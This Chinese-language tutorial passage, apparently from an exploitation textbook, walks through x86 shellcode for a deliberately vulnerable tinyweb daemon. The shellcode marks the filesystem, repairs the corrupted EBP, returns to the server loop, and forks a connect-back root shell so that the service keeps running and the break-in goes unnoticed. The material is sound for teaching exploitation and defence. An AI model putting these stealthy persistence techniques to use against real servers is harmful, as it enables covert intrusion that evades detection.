真實世界中,另一個入侵跡象甚至比日誌更明顯,測試時卻容易被忽略。
別忘了「服務中斷」#
若你覺得日誌是最明顯的入侵跡象,那你忘了服務中斷(loss of service)。tinyweb daemon 被利用時,程序被誘騙提供遠端 root shell,但它不再處理網頁請求了。真實世界中,一有人試圖存取網站,這個利用幾乎立刻就會被察覺。
熟練的駭客不只能撬開程式利用它,還能把程式重新組裝好、讓它繼續運行——程式繼續處理請求,看起來什麼都沒發生。
一次一步#
複雜的漏洞利用很難,因為太多環節可能出錯、又沒有根因指示。最好把它拆成較小的部分。最終目標是一段既能生成 shell、又能讓 tinyweb 伺服器繼續運行的 shellcode。第一步:弄清楚利用後如何把 tinyweb daemon 重新組裝好。
標記檔案系統以證明 shellcode 執行了#
由於 tinyweb daemon 把標準輸出重導到 /dev/null,寫標準輸出不是可靠的標記。一個簡單辦法是建立一個檔案(open() 加 close())。
要弄清
open()的旗標值,不必翻遍 include 檔做位元運算——notetaker程式早就呼叫過open()。用strace觀察其真實系統呼叫,確認 C 的open()引數與原始系統呼叫相符:O_WRONLY|O_CREAT|O_APPEND是0x441、S_IRUSR|S_IWUSR是0x180。編譯器已幫我們查好定義並用 OR 合併,我們只需在反組譯中找到這些值。
; mark.s:建立 /Hacked 檔案證明執行了
jmp short one
two:
pop ebx ; 檔名
xor ecx, ecx
mov BYTE [ebx+7], cl ; null 終止檔名
push BYTE 0x5 / pop eax ; open()
mov WORD cx, 0x441 ; O_WRONLY|O_APPEND|O_CREAT
xor edx, edx
mov WORD dx, 0x180 ; S_IRUSR|S_IWUSR
int 0x80 ; 開檔以建立它
mov ebx, eax
push BYTE 0x6 / pop eax ; close()
int 0x80
xor eax, eax / mov ebx, eax / inc eax / int 0x80 ; exit(0) 避免無窮迴圈
one:
call two
db "/HackedX"把程式重新組裝回去#
要復原,只需修復溢位/shellcode 造成的附帶損害,再把執行跳回 main() 的接受連線迴圈。反組譯顯示可安全返回 0x08048fb7(handle_connection() 呼叫後的原返回位址)。
但得先修復其他東西。看
handle_connection()的函式序言與尾聲:序言把 EBP、EBX 推入堆疊、設定 EBP;尾聲把它們彈回。溢位覆寫的返回位址與可毀損緩衝區之間,夾著序言存下的 EBP 與 EBX——所以函式尾聲執行時 EBP 與 EBX 會被弄亂。由於要到ret才取得控制,覆寫與ret之間的所有指令都會執行。
用 int3 評估附帶損害#
int3 指令產生位元組 0xcc,字面上就是除錯中斷點。用它取代 exit,GDB 就會在 shellcode 執行後捕捉到,讓我們檢視程式的確切狀態:
# 呼叫 handle_connection 前
esp=0xbffff7e0 ebx=0xb7fd5ff4 ebp=0xbffff848
# shellcode 開始執行時
esp=0xbffff7e0 ebx=0x6 ebp=0xbffff624
EBX 與 EBP 都變了。但檢視
main()反組譯發現 EBX 其實沒被用到(編譯器因呼叫慣例規則存了它)。EBP 卻大量使用,是所有區域堆疊變數的參考點——它的原值被覆寫,必須重建。
修復 EBP 並返回#
main() 的函式序言顯示 EBP 應比 ESP 大 0x68。ESP 未被損害,所以在 shellcode 結尾對 ESP 加 0x68 就能還原 EBP,然後安全返回接受連線迴圈:
; mark_restore.s 結尾
lea ebp, [esp+0x68] ; 還原 EBP
push 0x08048fb7 ; 返回位址
ret ; 返回 main() 的接受迴圈利用後,tinyweb daemon 標記了檔案系統、卻完全不知道發生了什麼,webserver_id 仍能正常辨識它。
童工:用 fork 維持服務#
弄懂困難的部分後,就能悄悄生成 root shell。shell 是互動的,但我們仍要程序處理網頁請求,所以需 fork 出一個子程序。
push BYTE 0x02 / pop eax ; fork 是 syscall #2
int 0x80 ; fork 後子程序 eax == 0
test eax, eax
jz child_process ; 子程序生成 shell
; 父程序:還原 tinywebd
lea ebp, [esp+0x68]
push 0x08048fb7
ret
child_process:
; ...其餘與 loopback_shell.s 相同這段 shellcode 讓反連 root shell 由獨立的子程序維持,而父程序繼續供應網頁內容。(此處用 job control:
&把 netcat 監聽送背景、fg帶回前景、CTRL-Z 暫停——沒有多終端可用時很實用。)